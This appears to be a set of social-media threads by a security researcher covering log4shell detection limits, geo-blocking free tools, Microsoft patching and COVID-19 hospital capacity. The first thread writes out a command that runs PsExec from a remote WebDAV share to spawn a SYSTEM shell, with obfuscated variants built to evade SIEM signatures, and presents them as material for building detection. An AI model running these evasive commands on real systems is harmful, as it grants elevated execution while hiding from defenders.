Have you ever seen this being used by an adversary? I haven't but I like it.
If you can't use the SMB protocol to hosts on the Internet, try WebDav over HTTPS
net use z: hxxps://live.sysinternals.com/tools && z:\PsExec.exe -s -c cmd.exe
(had to change the URL scheme because twitter would otherwise transform it - see screenshot)
And let's add some obfuscation to hide from sloppy signatures or case-sensitive searches in your SIEM
net use z: htT^pS://li^ve.sysInTer^nals.com/toOls && z:\Ps^EXeC.eXe -s c^md.e^xe
And we add another layer of obfuscation
net use z: htT^pS://li^ve.sys%SystemRoot:~4,1%nTer^nals.com/toOls && z:\Ps^EX%Public:~5,1%C.eXe -s c^md.e^xe
And when we're done with all that kids stuff and decide that we want to do something useful with our life, we check the resulting artefacts, logs, traces and start developing detection for all that evidence to really make a difference
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I consider disabling my free tools on systems with certain language and time zone settings
e.g. "Russian" language + timezone somewhere within "Russia" > "sorry, I can't run here"
Opinions?
To be fair, the Russian aggression against Ukraine would only be the trigger and not the cause.
We are not allowed to & refrain from selling to certain countries but we give away "Lite" versions for free.
RU's invasion is just the trigger that reminded me of that idea.
I would obviously include China, North Korea and Iran in these filters to treat them equally
# Block Rules / Log-Based Detection
There's no effective or rather gapless way to detect attacks that use log4shell due to the many ways to obfuscate the strings.
Don't put too much trust in any filter/detection pattern. All can be bypassed.
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2/ # Behaviour Based Detection
We thought about network based detection, but it could be any remote port and any remote system. Java can have many legitimate outgoing connections & often has suspicious sub processes.
3/ # Vulnerability Detection
It's difficult to find vulnerable software. It could be the web app, the ticket mgmt that receives contact form content or the backup software. Vuln scanners won't give a complete picture.
Discovery could take months.
Try to use the Canary Tokens.
I’d like to clarify my position on #Microsoft in general
Many things have improved over the last 10 years .. a lot .. especially with Windows 10/2016.
Today many fellow security researchers that I highly respect work there.
I criticize Microsoft’s response to recent ..
vulnerabilities (or design flaws) because I care about these things and believe that customers do care too.
I don’t think that it is fair / right to tell them to migrate to the cloud-based solution in order to get rid of these issues.
There are still few but good reasons ..
.. not to opt for the cloud.
I strongly believe that weaknesses in default configs that allow an attacker to escalate privs to Domain Admin should be addressed with a KB patch and not just a pointer to an advisory.
Many won’t read it.
1/x A #COVID19#OffTopic thread for my followers in countries that still enjoy the quiet before the storm.
It is serious. Don't listen to the voices that play it down.
But also don't panic.
The problem with SARS-CoV-2 is that the treatment of severe cases (~5-10%) require ..
2/x .. intensive care beds with respirators.
Here in Germany, we have 29k intensive care beds, most of them occupied long before COVID19.
If only 1% of the citizens get sick, that would be 830k citizens, 83k of them with the severe clinical course of the disease.
3/x I guess you can imagine what that means.
Italy is about 10 days ahead of us.
Doctors in Italy decide every morning in a so called "triage" who gets a bed with lung ventilator and who doesn't, which is basically a death sentence.
These patients slowly suffocate.